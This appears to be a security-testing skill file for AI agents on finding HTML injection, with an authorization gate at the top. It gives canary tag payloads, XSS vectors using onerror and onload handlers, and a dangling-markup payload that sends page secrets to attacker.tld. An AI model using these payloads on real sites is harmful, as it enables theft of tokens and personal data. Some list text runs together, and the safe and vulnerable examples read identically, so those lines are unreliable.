⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.
For an explicitly authorized XSS follow-up only, an active vector may carry a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Raw reflection alone is not execution proof: verify the effective HTML context, browser parsing and actual behavior without collecting real credentials or secrets.
Impact:
<form> or <a href="attacker.com"> tags<h1>HACKED</h1> renders visually on the page<meta http-equiv="refresh"><script> but not <img onerror>)<script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.<a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: Any input that is reflected or stored and then displayed in an HTML context:
?q=)?error=, ?message=)Inject a harmless recognisable HTML tag with a unique canary string only within the approved scope. Confirm it becomes attacker-controlled DOM markup, rather than literal text, inert code, JSON or intentional sanitized rich text.
Pattern 1 — Basic HTML tag injection:
<b>CANARY</b>
"><b>CANARY</b>
Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not <b>CANARY. A properly encoded app would escape < to <.
Try multiple tag types when <b> is filtered:
<h1>CANARY</h1> — heading tag (often less filtered)<img src=x onerror=CANARY> — attribute context<a href="https://attacker.com">click</a> — link injection (phishing proof)For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
Do not automatically escalate to script execution or email/secret exfiltration. HTML formatting and XSS are different impact claims; use separately authorized harmless proof, test-only records and controlled recipients.
Confirmed HTML injection requires browser/DOM evidence that attacker input is parsed as disallowed markup in the actual content type and context, plus a demonstrated impact. Literal angle brackets alone do not establish a vulnerability. A safe app renders <b>CANARY</b>; a vulnerable app renders <b>CANARY</b>.
<b>text</b> renders as text in the browser — no JS execution needed.<script>alert(1)</script> executes JavaScript.Some WAFs block <script> but pass <b> or <img> — start with non-script tags, then escalate.
triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.